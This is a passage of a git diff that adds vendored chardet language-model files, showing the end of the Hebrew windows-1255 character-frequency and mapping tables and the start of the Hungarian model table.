+ 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 18: { # 'פ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 2, # 'ֶ' + 31: 1, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 2, # 'ב' + 20: 3, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 27: { # 'ץ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 0, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 21: { # 'צ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 1, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 1, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 0, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 17: { # 'ק' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 2, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 7: { # 'ר' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 2, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 1, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 3, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 10: { # 'ש' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 1, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 1, # 'ַ' + 29: 1, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 3, # 'ׁ' + 45: 2, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 5: { # 'ת' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 1, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 32: { # '–' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 1, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 52: { # '’' + 50: 1, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 1, # 'r' + 43: 2, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 47: { # '“' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 46: { # '”' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 1, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 58: { # '†' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 2, # '†' + 40: 0, # '…' + }, + 40: { # '…' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 0, # 'l' + 54: 1, # 'n' + 49: 0, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +WINDOWS_1255_HEBREW_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 69, # 'A' + 66: 91, # 'B' + 67: 79, # 'C' + 68: 80, # 'D' + 69: 92, # 'E' + 70: 89, # 'F' + 71: 97, # 'G' + 72: 90, # 'H' + 73: 68, # 'I' + 74: 111, # 'J' + 75: 112, # 'K' + 76: 82, # 'L' + 77: 73, # 'M' + 78: 95, # 'N' + 79: 85, # 'O' + 80: 78, # 'P' + 81: 121, # 'Q' + 82: 86, # 'R' + 83: 71, # 'S' + 84: 67, # 'T' + 85: 102, # 'U' + 86: 107, # 'V' + 87: 84, # 'W' + 88: 114, # 'X' + 89: 103, # 'Y' + 90: 115, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 50, # 'a' + 98: 74, # 'b' + 99: 60, # 'c' + 100: 61, # 'd' + 101: 42, # 'e' + 102: 76, # 'f' + 103: 70, # 'g' + 104: 64, # 'h' + 105: 53, # 'i' + 106: 105, # 'j' + 107: 93, # 'k' + 108: 56, # 'l' + 109: 65, # 'm' + 110: 54, # 'n' + 111: 49, # 'o' + 112: 66, # 'p' + 113: 110, # 'q' + 114: 51, # 'r' + 115: 43, # 's' + 116: 44, # 't' + 117: 63, # 'u' + 118: 81, # 'v' + 119: 77, # 'w' + 120: 98, # 'x' + 121: 75, # 'y' + 122: 108, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 124, # '€' + 129: 202, # None + 130: 203, # '‚' + 131: 204, # 'ƒ' + 132: 205, # '„' + 133: 40, # '…' + 134: 58, # '†' + 135: 206, # '‡' + 136: 207, # 'ˆ' + 137: 208, # '‰' + 138: 209, # None + 139: 210, # '‹' + 140: 211, # None + 141: 212, # None + 142: 213, # None + 143: 214, # None + 144: 215, # None + 145: 83, # '‘' + 146: 52, # '’' + 147: 47, # '“' + 148: 46, # '”' + 149: 72, # '•' + 150: 32, # '–' + 151: 94, # '—' + 152: 216, # '˜' + 153: 113, # '™' + 154: 217, # None + 155: 109, # '›' + 156: 218, # None + 157: 219, # None + 158: 220, # None + 159: 221, # None + 160: 34, # '\xa0' + 161: 116, # '¡' + 162: 222, # '¢' + 163: 118, # '£' + 164: 100, # '₪' + 165: 223, # '¥' + 166: 224, # '¦' + 167: 117, # '§' + 168: 119, # '¨' + 169: 104, # '©' + 170: 125, # '×' + 171: 225, # '«' + 172: 226, # '¬' + 173: 87, # '\xad' + 174: 99, # '®' + 175: 227, # '¯' + 176: 106, # '°' + 177: 122, # '±' + 178: 123, # '²' + 179: 228, # '³' + 180: 55, # '´' + 181: 229, # 'µ' + 182: 230, # '¶' + 183: 101, # '·' + 184: 231, # '¸' + 185: 232, # '¹' + 186: 120, # '÷' + 187: 233, # '»' + 188: 48, # '¼' + 189: 39, # '½' + 190: 57, # '¾' + 191: 234, # '¿' + 192: 30, # 'ְ' + 193: 59, # 'ֱ' + 194: 41, # 'ֲ' + 195: 88, # 'ֳ' + 196: 33, # 'ִ' + 197: 37, # 'ֵ' + 198: 36, # 'ֶ' + 199: 31, # 'ַ' + 200: 29, # 'ָ' + 201: 35, # 'ֹ' + 202: 235, # None + 203: 62, # 'ֻ' + 204: 28, # 'ּ' + 205: 236, # 'ֽ' + 206: 126, # '־' + 207: 237, # 'ֿ' + 208: 238, # '׀' + 209: 38, # 'ׁ' + 210: 45, # 'ׂ' + 211: 239, # '׃' + 212: 240, # 'װ' + 213: 241, # 'ױ' + 214: 242, # 'ײ' + 215: 243, # '׳' + 216: 127, # '״' + 217: 244, # None + 218: 245, # None + 219: 246, # None + 220: 247, # None + 221: 248, # None + 222: 249, # None + 223: 250, # None + 224: 9, # 'א' + 225: 8, # 'ב' + 226: 20, # 'ג' + 227: 16, # 'ד' + 228: 3, # 'ה' + 229: 2, # 'ו' + 230: 24, # 'ז' + 231: 14, # 'ח' + 232: 22, # 'ט' + 233: 1, # 'י' + 234: 25, # 'ך' + 235: 15, # 'כ' + 236: 4, # 'ל' + 237: 11, # 'ם' + 238: 6, # 'מ' + 239: 23, # 'ן' + 240: 12, # 'נ' + 241: 19, # 'ס' + 242: 13, # 'ע' + 243: 26, # 'ף' + 244: 18, # 'פ' + 245: 27, # 'ץ' + 246: 21, # 'צ' + 247: 17, # 'ק' + 248: 7, # 'ר' + 249: 10, # 'ש' + 250: 5, # 'ת' + 251: 251, # None + 252: 252, # None + 253: 128, # '\u200e' + 254: 96, # '\u200f' + 255: 253, # None +} + +WINDOWS_1255_HEBREW_MODEL = SingleByteCharSetModel(charset_name='windows-1255', + language='Hebrew', + char_to_order_map=WINDOWS_1255_HEBREW_CHAR_TO_ORDER, + language_model=HEBREW_LANG_MODEL, + typical_positive_ratio=0.984004, + keep_ascii_letters=False, + alphabet='אבגדהוזחטיךכלםמןנסעףפץצקרשתװױײ') + diff --git a/src/thirdparty/chardet/langhungarianmodel.py b/src/thirdparty/chardet/langhungarianmodel.py new file mode 100644 index 0000000000..db51636896 --- /dev/null +++ b/src/thirdparty/chardet/langhungarianmodel.py @@ -0,0 +1,4650 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +HUNGARIAN_LANG_MODEL = { + 28: { # 'A' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 2, # 'D' + 32: 1, # 'E' + 50: 1, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 2, # 'I' + 53: 1, # 'J' + 36: 2, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 1, # 'O' + 46: 2, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 1, # 'U' + 48: 1, # 'V' + 55: 1, # 'Y' + 52: 2, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 2, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 1, # 'i' + 22: 1, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 1, # 'u' + 19: 1, # 'v' + 62: 1, # 'x' + 16: 0, # 'y' + 11: 3, # 'z' + 51: 1, # 'Á' + 44: 0, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 